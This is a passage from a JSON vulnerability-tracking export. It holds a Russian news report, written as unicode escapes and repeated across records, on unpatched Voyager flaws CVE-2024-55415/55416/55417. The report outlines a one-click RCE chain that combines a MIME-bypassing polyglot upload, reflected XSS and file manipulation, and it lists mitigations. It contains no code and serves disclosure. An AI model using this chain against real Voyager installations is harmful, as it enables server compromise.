\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Voyager \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0432\u0435\u0431-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435, \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u044b, \u0432\u043d\u0435\u0448\u0442\u0430\u0442\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438, \u0432 \u0446\u0435\u043b\u043e\u043c, \u043c\u0430\u043b\u044b\u0435 \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Laravel \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 CMS.\n\n\u041f\u0440\u043e\u0435\u043a\u0442\u00a0Voyager\u00a0\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e: \u0444\u043e\u0440\u043a\u043d\u0443\u0442 2700 \u0440\u0430\u0437 \u043d\u0430 GitHub, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0431\u043e\u043b\u0435\u0435 11 800 \u0437\u0432\u0435\u0437\u0434 \u0438 \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SonarSource, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Voyager \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0435\u0449\u0435 11 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u0438 90-\u0434\u043d\u0435\u0432\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n- CVE-2024-55417: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u00ab/admin/media/upload\u00bb\n- CVE-2024-55416: \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u00ab/admin/compass\u00bb\n- CVE-2024-55415: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u043c\u0435\u0434\u0438\u0430 Voyager, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043e\u0431\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0442\u0438\u043f\u0430 MIME, \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u00a0\u0444\u0430\u0439\u043b-\u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u0438\u0434\u0435\u043e, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PHP-\u043a\u043e\u0434.\n\n\u0421\u0435\u0440\u0432\u0435\u0440 \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u043a\u0430\u043a PHP-\u0441\u043a\u0440\u0438\u043f\u0442, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-55416. \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 /admin/compass \u0432 Voyager \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0447\u0438\u0449\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0432\u0432\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c JavaScript \u0432\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0441\u043b\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0435\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044e \u0434\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nCVE-2024-55415 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044f\u043c\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431, \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Voyager \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00abbrowse_media\u00bb \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u043e\u043b\u0435\u0439 (RBAC).\n\n\u041c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f PHP-\u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0442\u0438\u043f\u0430 MIME \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0433\u043e\u044f\u0437\u044b\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0438\u043c.\n\n\u0415\u0441\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0448\u0430\u044e\u0449\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0442\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437\u0431\u0435\u0433\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Voyager \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u0430\u043d\u0435\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Laravel.", "creation_timestamp": "2025-01-30T16:00:07.000000Z"}, {"uuid": "89b95670-d3d7-42ee-be92-343d3b604581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55416", "type": "seen", "source": "https://t.me/true_secator/6678", "content": "\u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PHP-\u043f\u0430\u043a\u0435\u0442\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c Voyager \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Laravel \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c RCE-\u0430\u0442\u0430\u043a\u0430\u043c \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Voyager \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0432\u0435\u0431-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435, \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u044b, \u0432\u043d\u0435\u0448\u0442\u0430\u0442\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438, \u0432 \u0446\u0435\u043b\u043e\u043c, \u043c\u0430\u043b\u044b\u0435 \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Laravel \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0431\u0430\u0437\u0435 CMS.\n\n\u041f\u0440\u043e\u0435\u043a\u0442\u00a0Voyager\u00a0\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e: \u0444\u043e\u0440\u043a\u043d\u0443\u0442 2700 \u0440\u0430\u0437 \u043d\u0430 GitHub, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0431\u043e\u043b\u0435\u0435 11 800 \u0437\u0432\u0435\u0437\u0434 \u0438 \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SonarSource, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Voyager \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0435\u0449\u0435 11 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u0438 90-\u0434\u043d\u0435\u0432\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n- CVE-2024-55417: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u00ab/admin/media/upload\u00bb\n- CVE-2024-55416: \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u00ab/admin/compass\u00bb\n- CVE-2024-55415: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u043c\u0435\u0434\u0438\u0430 Voyager, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043e\u0431\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0442\u0438\u043f\u0430 MIME, \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u00a0\u0444\u0430\u0439\u043b-\u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u0438\u0434\u0435\u043e, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PHP-\u043a\u043e\u0434.\n\n\u0421\u0435\u0440\u0432\u0435\u0440 \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u043a\u0430\u043a PHP-\u0441\u043a\u0440\u0438\u043f\u0442, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-55416. \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 /admin/compass \u0432 Voyager \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0447\u0438\u0449\u0430\u0435\u0442 